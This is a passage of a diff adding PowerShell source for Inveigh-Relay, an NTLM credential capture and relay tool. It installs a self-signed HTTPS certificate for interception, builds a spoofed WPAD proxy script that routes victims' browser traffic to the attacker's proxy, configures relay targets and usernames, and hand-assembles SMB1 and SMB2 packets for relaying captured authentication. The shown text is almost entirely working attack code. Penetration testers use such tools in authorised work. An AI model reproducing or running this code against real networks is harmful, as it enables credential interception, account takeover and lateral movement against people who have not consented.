+ $certificate_server_auth_OID = new-object -com "X509Enrollment.CObjectId" + $certificate_server_auth_OID.InitializeFromValue("1.3.6.1.5.5.7.3.1") + $certificate_enhanced_key_usage_OID = new-object -com "X509Enrollment.CObjectIds.1" + $certificate_enhanced_key_usage_OID.add($certificate_server_auth_OID) + $certificate_enhanced_key_usage_extension = new-object -com "X509Enrollment.CX509ExtensionEnhancedKeyUsage" + $certificate_enhanced_key_usage_extension.InitializeEncode($certificate_enhanced_key_usage_OID) + $certificate = new-object -com "X509Enrollment.CX509CertificateRequestCertificate" + $certificate.InitializeFromPrivateKey(2,$certificate_key,"") + $certificate.Subject = $certificate_distinguished_name + $certificate.Issuer = $certificate_issuer_distinguished_name + $certificate.NotBefore = (get-date).AddDays(-271) + $certificate.NotAfter = $certificate.NotBefore.AddDays(824) + $certificate_hash_algorithm_OID = New-Object -ComObject X509Enrollment.CObjectId + $certificate_hash_algorithm_OID.InitializeFromAlgorithmName(1,0,0,"SHA256") + $certificate.HashAlgorithm = $certificate_hash_algorithm_OID + $certificate.X509Extensions.Add($certificate_enhanced_key_usage_extension) + $certificate_basic_constraints = new-object -com "X509Enrollment.CX509ExtensionBasicConstraints" + $certificate_basic_constraints.InitializeEncode("true",1) + $certificate.X509Extensions.Add($certificate_basic_constraints) + $certificate.Encode() + $certificate_enrollment = new-object -com "X509Enrollment.CX509Enrollment" + $certificate_enrollment.InitializeFromRequest($certificate) + $certificate_data = $certificate_enrollment.CreateRequest(0) + $certificate_enrollment.InstallResponse(2,$certificate_data,0,"") + $inveigh.certificate = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -match $inveigh.certificate_issuer}) + $inveigh.HTTPS = $true + $inveigh.output_queue.Add("[+] HTTPS Capture/Relay = Enabled") > $null + } + else + { + + if($HTTPSForceCertDelete -eq 'Y') + { + $inveigh.HTTPS_force_certificate_delete = $true + } + + $inveigh.HTTPS_existing_certificate = $true + $inveigh.output_queue.Add("[+] HTTPS Capture = Using Existing Certificate") > $null + } + + } + catch + { + $HTTPS = "N" + $inveigh.HTTPS = $false + $inveigh.output_queue.Add("[-] HTTPS Capture/Relay Disabled Due To Certificate Error") > $null + } + + } + +} +else +{ + $inveigh.output_queue.Add("[+] HTTPS Capture/Relay = Disabled") > $null +} + +if($HTTP -eq 'Y' -or $HTTPS -eq 'Y') +{ + + if($Challenge) + { + $inveigh.output_queue.Add("[+] NTLM Challenge = $Challenge") > $null + } + + if($MachineAccounts -eq 'N') + { + $inveigh.output_queue.Add("[+] Machine Account Capture = Disabled") > $null + $inveigh.machine_accounts = $false + } + else + { + $inveigh.machine_accounts = $true + } + + $inveigh.output_queue.Add("[+] WPAD Authentication = $WPADAuth") > $null + + if($WPADAuth -eq "NTLM") + { + $WPADAuthIgnore = ($WPADAuthIgnore | Where-Object {$_ -and $_.Trim()}) + + if($WPADAuthIgnore.Count -gt 0) + { + $inveigh.output_queue.Add("[+] WPAD NTLM Authentication Ignore List = " + ($WPADAuthIgnore -join ",")) > $null + } + + } + + $HTTPResetDelay = ($HTTPResetDelay | Where-Object {$_ -and $_.Trim()}) + + if($HTTPResetDelay.Count -gt 0) + { + $inveigh.output_queue.Add("[+] HTTP Reset Delay List = " + ($HTTPResetDelay -join ",")) > $null + $inveigh.output_queue.Add("[+] HTTP Reset Delay Timeout = $HTTPResetDelayTimeout Seconds") > $null + } + +} + +if($Proxy -eq 'Y') +{ + + if($proxy_port_check) + { + $HTTP = "N" + $inveigh.output_queue.Add("[+] Proxy Capture/Relay Disabled Due To In Use Port $ProxyPort") > $null + } + else + { + $inveigh.output_queue.Add("[+] Proxy Capture/Relay = Enabled") > $null + $inveigh.output_queue.Add("[+] Proxy Port = $ProxyPort") > $null + $ProxyPortFailover = $ProxyPort + 1 + $WPADResponse = "function FindProxyForURL(url,host){return `"PROXY $proxy_WPAD_IP`:$ProxyPort; PROXY $proxy_WPAD_IP`:$ProxyPortFailover; DIRECT`";}" + $ProxyIgnore = ($ProxyIgnore | Where-Object {$_ -and $_.Trim()}) + + if($ProxyIgnore.Count -gt 0) + { + $inveigh.output_queue.Add("[+] Proxy Ignore List = " + ($ProxyIgnore -join ",")) > $null + } + + } + +} + +if($Target.Count -eq 1) +{ + $inveigh.output_queue.Add("[+] Relay Target = " + ($Target -join ",")) > $null +} +else +{ + $inveigh.output_queue.Add("[+] Relay Targets = " + ($Target -join ",")) > $null +} + +if($Username) +{ + + if($Username.Count -eq 1) + { + $inveigh.output_queue.Add("[+] Relay Username = " + ($Username -join ",")) > $null + } + else + { + $inveigh.output_queue.Add("[+] Relay Usernames = " + ($Username -join ",")) > $null + } + +} + +if($RelayAutoDisable -eq 'Y') +{ + $inveigh.output_queue.Add("[+] Relay Auto Disable = Enabled") > $null +} +else +{ + $inveigh.output_queue.Add("[+] Relay Auto Disable = Disabled") > $null +} + +if($RelayAutoExit -eq 'Y') +{ + $inveigh.output_queue.Add("[+] Relay Auto Exit = Enabled") > $null +} +else +{ + $inveigh.output_queue.Add("[+] Relay Auto Exit = Disabled") > $null +} + +if($Service) +{ + $inveigh.output_queue.Add("[+] Relay Service = $Service") > $null +} + +if($SMB1) +{ + $inveigh.output_queue.Add("[+] SMB Version = SMB1") > $null + $SMB_version = 'SMB1' +} + +if($ConsoleOutput -ne 'N') +{ + + if($ConsoleOutput -eq 'Y') + { + $inveigh.output_queue.Add("[+] Real Time Console Output = Enabled") > $null + } + else + { + $inveigh.output_queue.Add("[+] Real Time Console Output = $ConsoleOutput") > $null + } + + $inveigh.console_output = $true + + if($ConsoleStatus -eq 1) + { + $inveigh.output_queue.Add("[+] Console Status = $ConsoleStatus Minute") > $null + } + elseif($ConsoleStatus -gt 1) + { + $inveigh.output_queue.Add("[+] Console Status = $ConsoleStatus Minutes") > $null + } + +} +else +{ + + if($inveigh.tool -eq 1) + { + $inveigh.output_queue.Add("[!] Real Time Console Output Disabled Due To External Tool Selection") > $null + } + else + { + $inveigh.output_queue.Add("[+] Real Time Console Output = Disabled") > $null + } + +} + +if($ConsoleUnique -eq 'Y') +{ + $inveigh.console_unique = $true +} +else +{ + $inveigh.console_unique = $false +} + +if($FileOutput -eq 'Y') +{ + $inveigh.output_queue.Add("[+] Real Time File Output = Enabled") > $null + $inveigh.output_queue.Add("[+] Output Directory = $output_directory") > $null + $inveigh.file_output = $true +} +else +{ + $inveigh.output_queue.Add("[+] Real Time File Output = Disabled") > $null +} + +if($FileUnique -eq 'Y') +{ + $inveigh.file_unique = $true +} +else +{ + $inveigh.file_unique = $false +} + +if($LogOutput -eq 'Y') +{ + $inveigh.log_output = $true +} +else +{ + $inveigh.log_output = $false +} + +if($RunTime -eq 1) +{ + $inveigh.output_queue.Add("[+] Run Time = $RunTime Minute") > $null +} +elseif($RunTime -gt 1) +{ + $inveigh.output_queue.Add("[+] Run Time = $RunTime Minutes") > $null +} + +if($ShowHelp -eq 'Y') +{ + $inveigh.output_queue.Add("[!] Run Stop-Inveigh to stop Inveigh-Relay") > $null + + if($inveigh.console_output) + { + $inveigh.output_queue.Add("[*] Press any key to stop real time console output") > $null + } + +} + +while($inveigh.output_queue.Count -gt 0) +{ + + switch -Wildcard ($inveigh.output_queue[0]) + { + + {$_ -like "?`[`!`]*" -or $_ -like "?`[-`]*"} + { + + if($inveigh.status_output -and $inveigh.output_stream_only) + { + Write-Output($inveigh.output_queue[0] + $inveigh.newline) + } + elseif($inveigh.status_output) + { + Write-Warning($inveigh.output_queue[0]) + } + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add($inveigh.output_queue[0]) > $null + } + + if($inveigh.log_output) + { + $inveigh.log.Add($inveigh.output_queue[0]) > $null + } + + $inveigh.output_queue.RemoveAt(0) + } + + default + { + + if($inveigh.status_output -and $inveigh.output_stream_only) + { + Write-Output($inveigh.output_queue[0] + $inveigh.newline) + } + elseif($inveigh.status_output) + { + Write-Output($inveigh.output_queue[0]) + } + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add($inveigh.output_queue[0]) > $null + } + + if($inveigh.log_output) + { + $inveigh.log.Add($inveigh.output_queue[0]) > $null + } + + $inveigh.output_queue.RemoveAt(0) + } + + } + +} + +$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id +$process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID)) +$process_ID = $process_ID -replace "-00-00","" +[Byte[]]$inveigh.process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + +# Begin ScriptBlocks + +# Shared Basic Functions ScriptBlock +$shared_basic_functions_scriptblock = +{ + + function DataLength2 + { + param ([Int]$length_start,[Byte[]]$string_extract_data) + + $string_length = [System.BitConverter]::ToUInt16($string_extract_data[$length_start..($length_start + 1)],0) + return $string_length + } + + function DataLength4 + { + param ([Int]$length_start,[Byte[]]$string_extract_data) + + $string_length = [System.BitConverter]::ToUInt32($string_extract_data[$length_start..($length_start + 3)],0) + return $string_length + } + + function DataToString + { + param ([Int]$string_start,[Int]$string_length,[Byte[]]$string_extract_data) + + $string_data = [System.BitConverter]::ToString($string_extract_data[$string_start..($string_start + $string_length - 1)]) + $string_data = $string_data -replace "-00","" + $string_data = $string_data.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $string_extract = New-Object System.String ($string_data,0,$string_data.Length) + return $string_extract + } + +} + +# Packet Functions ScriptBlock +$packet_functions_scriptblock = +{ + function ConvertFrom-PacketOrderedDictionary + { + param($packet_ordered_dictionary) + + ForEach($field in $packet_ordered_dictionary.Values) + { + $byte_array += $field + } + + return $byte_array + } + + #NetBIOS + + function New-PacketNetBIOSSessionService + { + param([Int]$packet_header_length,[Int]$packet_data_length) + + [Byte[]]$packet_netbios_session_service_length = [System.BitConverter]::GetBytes($packet_header_length + $packet_data_length) + $packet_NetBIOS_session_service_length = $packet_netbios_session_service_length[2..0] + + $packet_NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary + $packet_NetBIOSSessionService.Add("Message_Type",[Byte[]](0x00)) + $packet_NetBIOSSessionService.Add("Length",[Byte[]]($packet_netbios_session_service_length)) + + return $packet_NetBIOSSessionService + } + + #SMB1 + + function New-PacketSMBHeader + { + param([Byte[]]$packet_command,[Byte[]]$packet_flags,[Byte[]]$packet_flags2,[Byte[]]$packet_tree_ID,[Byte[]]$packet_process_ID,[Byte[]]$packet_user_ID) + + $packet_SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBHeader.Add("Protocol",[Byte[]](0xff,0x53,0x4d,0x42)) + $packet_SMBHeader.Add("Command",$packet_command) + $packet_SMBHeader.Add("ErrorClass",[Byte[]](0x00)) + $packet_SMBHeader.Add("Reserved",[Byte[]](0x00)) + $packet_SMBHeader.Add("ErrorCode",[Byte[]](0x00,0x00)) + $packet_SMBHeader.Add("Flags",$packet_flags) + $packet_SMBHeader.Add("Flags2",$packet_flags2) + $packet_SMBHeader.Add("ProcessIDHigh",[Byte[]](0x00,0x00)) + $packet_SMBHeader.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMBHeader.Add("Reserved2",[Byte[]](0x00,0x00)) + $packet_SMBHeader.Add("TreeID",$packet_tree_ID) + $packet_SMBHeader.Add("ProcessID",$packet_process_ID) + $packet_SMBHeader.Add("UserID",$packet_user_ID) + $packet_SMBHeader.Add("MultiplexID",[Byte[]](0x00,0x00)) + + return $packet_SMBHeader + } + + function New-PacketSMBNegotiateProtocolRequest + { + param([String]$packet_version) + + if($packet_version -eq 'SMB1') + { + [Byte[]]$packet_byte_count = 0x0c,0x00 + } + else + { + [Byte[]]$packet_byte_count = 0x22,0x00 + } + + $packet_SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBNegotiateProtocolRequest.Add("WordCount",[Byte[]](0x00)) + $packet_SMBNegotiateProtocolRequest.Add("ByteCount",$packet_byte_count) + $packet_SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02)) + $packet_SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00)) + + if($packet_version -ne 'SMB1') + { + $packet_SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02)) + $packet_SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00)) + $packet_SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02)) + $packet_SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00)) + } + + return $packet_SMBNegotiateProtocolRequest + } + + function New-PacketSMBSessionSetupAndXRequest + { + param([Byte[]]$packet_security_blob) + + [Byte[]]$packet_byte_count = [System.BitConverter]::GetBytes($packet_security_blob.Length) + $packet_byte_count = $packet_byte_count[0,1] + [Byte[]]$packet_security_blob_length = [System.BitConverter]::GetBytes($packet_security_blob.Length + 5) + $packet_security_blob_length = $packet_security_blob_length[0,1] + + $packet_SMBSessionSetupAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBSessionSetupAndXRequest.Add("WordCount",[Byte[]](0x0c)) + $packet_SMBSessionSetupAndXRequest.Add("AndXCommand",[Byte[]](0xff)) + $packet_SMBSessionSetupAndXRequest.Add("Reserved",[Byte[]](0x00)) + $packet_SMBSessionSetupAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("MaxBuffer",[Byte[]](0xff,0xff)) + $packet_SMBSessionSetupAndXRequest.Add("MaxMpxCount",[Byte[]](0x02,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("VCNumber",[Byte[]](0x01,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SessionKey",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SecurityBlobLength",$packet_byte_count) + $packet_SMBSessionSetupAndXRequest.Add("Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("Capabilities",[Byte[]](0x44,0x00,0x00,0x80)) + $packet_SMBSessionSetupAndXRequest.Add("ByteCount",$packet_security_blob_length) + $packet_SMBSessionSetupAndXRequest.Add("SecurityBlob",$packet_security_blob) + $packet_SMBSessionSetupAndXRequest.Add("NativeOS",[Byte[]](0x00,0x00,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("NativeLANManage",[Byte[]](0x00,0x00)) + + return $packet_SMBSessionSetupAndXRequest + } + + function New-PacketSMBTreeConnectAndXRequest + { + param([Byte[]]$packet_path) + + [Byte[]]$packet_path_length = [System.BitConverter]::GetBytes($packet_path.Length + 7) + $packet_path_length = $packet_path_length[0,1] + + $packet_SMBTreeConnectAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBTreeConnectAndXRequest.Add("WordCount",[Byte[]](0x04)) + $packet_SMBTreeConnectAndXRequest.Add("AndXCommand",[Byte[]](0xff)) + $packet_SMBTreeConnectAndXRequest.Add("Reserved",[Byte[]](0x00)) + $packet_SMBTreeConnectAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBTreeConnectAndXRequest.Add("Flags",[Byte[]](0x00,0x00)) + $packet_SMBTreeConnectAndXRequest.Add("PasswordLength",[Byte[]](0x01,0x00)) + $packet_SMBTreeConnectAndXRequest.Add("ByteCount",$packet_path_length) + $packet_SMBTreeConnectAndXRequest.Add("Password",[Byte[]](0x00)) + $packet_SMBTreeConnectAndXRequest.Add("Tree",$packet_path) + $packet_SMBTreeConnectAndXRequest.Add("Service",[Byte[]](0x3f,0x3f,0x3f,0x3f,0x3f,0x00)) + + return $packet_SMBTreeConnectAndXRequest + } + + function New-PacketSMBNTCreateAndXRequest + { + param([Byte[]]$packet_named_pipe) + + [Byte[]]$packet_named_pipe_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length) + $packet_named_pipe_length = $packet_named_pipe_length[0,1] + [Byte[]]$packet_file_name_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length - 1) + $packet_file_name_length = $packet_file_name_length[0,1] + + $packet_SMBNTCreateAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBNTCreateAndXRequest.Add("WordCount",[Byte[]](0x18)) + $packet_SMBNTCreateAndXRequest.Add("AndXCommand",[Byte[]](0xff)) + $packet_SMBNTCreateAndXRequest.Add("Reserved",[Byte[]](0x00)) + $packet_SMBNTCreateAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("Reserved2",[Byte[]](0x00)) + $packet_SMBNTCreateAndXRequest.Add("FileNameLen",$packet_file_name_length) + $packet_SMBNTCreateAndXRequest.Add("CreateFlags",[Byte[]](0x16,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("RootFID",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) + $packet_SMBNTCreateAndXRequest.Add("AllocationSize",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("FileAttributes",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("ShareAccess",[Byte[]](0x07,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("Disposition",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("CreateOptions",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SecurityFlags",[Byte[]](0x00)) + $packet_SMBNTCreateAndXRequest.Add("ByteCount",$packet_named_pipe_length) + $packet_SMBNTCreateAndXRequest.Add("Filename",$packet_named_pipe) + + return $packet_SMBNTCreateAndXRequest + } + + function New-PacketSMBReadAndXRequest + { + $packet_SMBReadAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBReadAndXRequest.Add("WordCount",[Byte[]](0x0a)) + $packet_SMBReadAndXRequest.Add("AndXCommand",[Byte[]](0xff)) + $packet_SMBReadAndXRequest.Add("Reserved",[Byte[]](0x00)) + $packet_SMBReadAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBReadAndXRequest.Add("FID",[Byte[]](0x00,0x40)) + $packet_SMBReadAndXRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBReadAndXRequest.Add("MaxCountLow",[Byte[]](0x58,0x02)) + $packet_SMBReadAndXRequest.Add("MinCount",[Byte[]](0x58,0x02)) + $packet_SMBReadAndXRequest.Add("Unknown",[Byte[]](0xff,0xff,0xff,0xff)) + $packet_SMBReadAndXRequest.Add("Remaining",[Byte[]](0x00,0x00)) + $packet_SMBReadAndXRequest.Add("ByteCount",[Byte[]](0x00,0x00)) + + return $packet_SMBReadAndXRequest + } + + function New-PacketSMBWriteAndXRequest + { + param([Byte[]]$packet_file_ID,[Int]$packet_RPC_length) + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_RPC_length) + $packet_write_length = $packet_write_length[0,1] + + $packet_SMBWriteAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBWriteAndXRequest.Add("WordCount",[Byte[]](0x0e)) + $packet_SMBWriteAndXRequest.Add("AndXCommand",[Byte[]](0xff)) + $packet_SMBWriteAndXRequest.Add("Reserved",[Byte[]](0x00)) + $packet_SMBWriteAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBWriteAndXRequest.Add("FID",$packet_file_ID) + $packet_SMBWriteAndXRequest.Add("Offset",[Byte[]](0xea,0x03,0x00,0x00)) + $packet_SMBWriteAndXRequest.Add("Reserved2",[Byte[]](0xff,0xff,0xff,0xff)) + $packet_SMBWriteAndXRequest.Add("WriteMode",[Byte[]](0x08,0x00)) + $packet_SMBWriteAndXRequest.Add("Remaining",$packet_write_length) + $packet_SMBWriteAndXRequest.Add("DataLengthHigh",[Byte[]](0x00,0x00)) + $packet_SMBWriteAndXRequest.Add("DataLengthLow",$packet_write_length) + $packet_SMBWriteAndXRequest.Add("DataOffset",[Byte[]](0x3f,0x00)) + $packet_SMBWriteAndXRequest.Add("HighOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBWriteAndXRequest.Add("ByteCount",$packet_write_length) + + return $packet_SMBWriteAndXRequest + } + + function New-PacketSMBCloseRequest + { + param ([Byte[]]$packet_file_ID) + + $packet_SMBCloseRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBCloseRequest.Add("WordCount",[Byte[]](0x03)) + $packet_SMBCloseRequest.Add("FID",$packet_file_ID) + $packet_SMBCloseRequest.Add("LastWrite",[Byte[]](0xff,0xff,0xff,0xff)) + $packet_SMBCloseRequest.Add("ByteCount",[Byte[]](0x00,0x00)) + + return $packet_SMBCloseRequest + } + + function New-PacketSMBTreeDisconnectRequest + { + $packet_SMBTreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBTreeDisconnectRequest.Add("WordCount",[Byte[]](0x00)) + $packet_SMBTreeDisconnectRequest.Add("ByteCount",[Byte[]](0x00,0x00)) + + return $packet_SMBTreeDisconnectRequest + } + + function New-PacketSMBLogoffAndXRequest + { + $packet_SMBLogoffAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBLogoffAndXRequest.Add("WordCount",[Byte[]](0x02)) + $packet_SMBLogoffAndXRequest.Add("AndXCommand",[Byte[]](0xff)) + $packet_SMBLogoffAndXRequest.Add("Reserved",[Byte[]](0x00)) + $packet_SMBLogoffAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBLogoffAndXRequest.Add("ByteCount",[Byte[]](0x00,0x00)) + + return $packet_SMBLogoffAndXRequest + } + + #SMB2 + + function New-PacketSMB2Header + { + param([Byte[]]$packet_command,[Byte[]]$packet_credit_request,[Int]$packet_message_ID,[Byte[]]$packet_tree_ID,[Byte[]]$packet_session_ID) + + [Byte[]]$packet_message_ID = [System.BitConverter]::GetBytes($packet_message_ID) + 0x00,0x00,0x00,0x00 + + $packet_SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2Header.Add("ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42)) + $packet_SMB2Header.Add("StructureSize",[Byte[]](0x40,0x00)) + $packet_SMB2Header.Add("CreditCharge",[Byte[]](0x01,0x00)) + $packet_SMB2Header.Add("ChannelSequence",[Byte[]](0x00,0x00)) + $packet_SMB2Header.Add("Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2Header.Add("Command",$packet_command) + $packet_SMB2Header.Add("CreditRequest",$packet_credit_request) + $packet_SMB2Header.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2Header.Add("NextCommand",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2Header.Add("MessageID",$packet_message_ID) + $packet_SMB2Header.Add("ProcessID",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2Header.Add("TreeID",$packet_tree_ID) + $packet_SMB2Header.Add("SessionID",$packet_session_ID) + $packet_SMB2Header.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + return $packet_SMB2Header + } + + function New-PacketSMB2NegotiateProtocolRequest + { + $packet_SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2NegotiateProtocolRequest.Add("StructureSize",[Byte[]](0x24,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("DialectCount",[Byte[]](0x02,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SecurityMode",[Byte[]](0x01,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("Capabilities",[Byte[]](0x40,0x00,0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("NegotiateContextCount",[Byte[]](0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("Reserved2",[Byte[]](0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("Dialect",[Byte[]](0x02,0x02)) + $packet_SMB2NegotiateProtocolRequest.Add("Dialect2",[Byte[]](0x10,0x02)) + + return $packet_SMB2NegotiateProtocolRequest + } + + function New-PacketSMB2SessionSetupRequest + { + param([Byte[]]$packet_security_blob) + + [Byte[]]$packet_security_blob_length = [System.BitConverter]::GetBytes($packet_security_blob.Length) + $packet_security_blob_length = $packet_security_blob_length[0,1] + + $packet_SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2SessionSetupRequest.Add("StructureSize",[Byte[]](0x19,0x00)) + $packet_SMB2SessionSetupRequest.Add("Flags",[Byte[]](0x00)) + $packet_SMB2SessionSetupRequest.Add("SecurityMode",[Byte[]](0x01)) + $packet_SMB2SessionSetupRequest.Add("Capabilities",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2SessionSetupRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2SessionSetupRequest.Add("SecurityBufferOffset",[Byte[]](0x58,0x00)) + $packet_SMB2SessionSetupRequest.Add("SecurityBufferLength",$packet_security_blob_length) + $packet_SMB2SessionSetupRequest.Add("PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2SessionSetupRequest.Add("Buffer",$packet_security_blob) + + return $packet_SMB2SessionSetupRequest + } + + function New-PacketSMB2TreeConnectRequest + { + param([Byte[]]$packet_path) + + [Byte[]]$packet_path_length = [System.BitConverter]::GetBytes($packet_path.Length) + $packet_path_length = $packet_path_length[0,1] + + $packet_SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2TreeConnectRequest.Add("StructureSize",[Byte[]](0x09,0x00)) + $packet_SMB2TreeConnectRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2TreeConnectRequest.Add("PathOffset",[Byte[]](0x48,0x00)) + $packet_SMB2TreeConnectRequest.Add("PathLength",$packet_path_length) + $packet_SMB2TreeConnectRequest.Add("Buffer",$packet_path) + + return $packet_SMB2TreeConnectRequest + } + + function New-PacketSMB2CreateRequestFile + { + param([Byte[]]$packet_named_pipe) + + $packet_named_pipe_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length) + $packet_named_pipe_length = $packet_named_pipe_length[0,1] + + $packet_SMB2CreateRequestFile = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2CreateRequestFile.Add("StructureSize",[Byte[]](0x39,0x00)) + $packet_SMB2CreateRequestFile.Add("Flags",[Byte[]](0x00)) + $packet_SMB2CreateRequestFile.Add("RequestedOplockLevel",[Byte[]](0x00)) + $packet_SMB2CreateRequestFile.Add("Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMBCreateFlags",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("DesiredAccess",[Byte[]](0x03,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("FileAttributes",[Byte[]](0x80,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("ShareAccess",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("CreateDisposition",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("CreateOptions",[Byte[]](0x40,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("NameOffset",[Byte[]](0x78,0x00)) + $packet_SMB2CreateRequestFile.Add("NameLength",$packet_named_pipe_length) + $packet_SMB2CreateRequestFile.Add("CreateContextsOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("CreateContextsLength",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("Buffer",$packet_named_pipe) + + return $packet_SMB2CreateRequestFile + } + + function New-PacketSMB2ReadRequest + { + param ([Byte[]]$packet_file_ID) + + $packet_SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2ReadRequest.Add("StructureSize",[Byte[]](0x31,0x00)) + $packet_SMB2ReadRequest.Add("Padding",[Byte[]](0x50)) + $packet_SMB2ReadRequest.Add("Flags",[Byte[]](0x00)) + $packet_SMB2ReadRequest.Add("Length",[Byte[]](0x00,0x00,0x10,0x00)) + $packet_SMB2ReadRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("FileID",$packet_file_ID) 